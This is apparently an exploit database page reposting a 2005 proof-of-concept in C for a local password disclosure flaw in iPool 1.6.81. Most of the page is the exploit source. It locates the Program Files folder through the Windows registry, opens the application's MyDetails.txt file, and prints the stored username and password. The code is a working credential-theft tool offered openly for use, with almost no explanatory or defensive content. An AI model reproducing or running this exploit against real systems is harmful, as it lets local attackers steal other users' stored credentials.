Lucene search
K

iPool <= 1.6.81 Local Password Disclosure Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

iPool v1.6.81 Local Password Disclosure Exploit by Kozan. Memir Software and The Pool Club

Code

                                                /*****************************************************************

iPool &#60;= v1.6.81 Local Password Disclosure Exploit by Kozan

Application: iPool 1.6.81

Vendor:
Memir Software - memirsoftware.com and
The Pool Club - thepoolclub.com

Vulnerable Description:
iPool 1.6.81 discloses passwords to local users.

Discovered & Coded by Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: [email protected]

*****************************************************************/

#include &#60;stdio.h&#62;
#include &#60;string.h&#62;
#include &#60;windows.h&#62;

HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main()
{
       if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,

&#34;SOFTWARE\\Microsoft\\Windows\\CurrentVersion&#34;,
                                       0,
                                       KEY_QUERY_VALUE,
                                       &hKey) == ERROR_SUCCESS)
       {

           lRet = RegQueryValueEx( hKey, &#34;ProgramFilesDir&#34;, NULL, NULL,
              (LPBYTE) prgfiles, &dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen &#62; BUFSIZE) ){
                                RegCloseKey(hKey);
                                printf(&#34;An error occured. Can&#39;t get password!\n&#34;);
                                return -1;
                       }

                       RegCloseKey(hKey);

   }
       else
       {
               printf(&#34;An error occured. Can&#39;t get password!\n&#34;);
               return -1;
       }

       printf(&#34;\n\niPool 1.6.81 Local Password Disclosure Exploit by Kozan\n&#34;);
       printf(&#34;Credits to ATmaCA\n&#34;);
       printf(&#34;[email protected]\n&#34;);
       printf(&#34;www.netmagister.com - www.spyinstructors.com\n\n&#34;);

       char pwdfile[BUFSIZE], username[BUFSIZE], password[BUFSIZE];
       strcpy(pwdfile,strcat(prgfiles,&#34;\\ThePoolClub\\iPool\\MyDetails.txt&#34;));

       int addr, i, y;
       FILE *fp;
       char ch[100], ch2[100];

       if((fp=fopen(pwdfile,&#34;rb&#34;)) == NULL)
       {
               printf(&#34;An error occured. Can&#39;t get password!\n&#34;);
               return -1;
       }

       fseek(fp,0,0);

       for(i=0;i&#60;30;i++)
       {
               ch[i]=getc(fp);
               if(ch[i]==0x0D)
               {
                       ch[i]=NULL;
                       strcpy(username,ch);
                       break;
               }
       }

       addr = ftell(fp);
       fseek(fp,addr+1,0);

       for(y=0;y&#60;30;y++)
       {
               ch2[y]=getc(fp);
               if(ch2[y]==0x0D)
               {
                       ch2[y]=NULL;
                       strcpy(password,ch2);
                       break;
               }
       }

       fclose(fp);

       printf(&#34;Username        : %s\n&#34;,username);
       printf(&#34;Password        : %s\n&#34;,password);

       return 0;
}

// milw0rm.com [2005-03-16]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation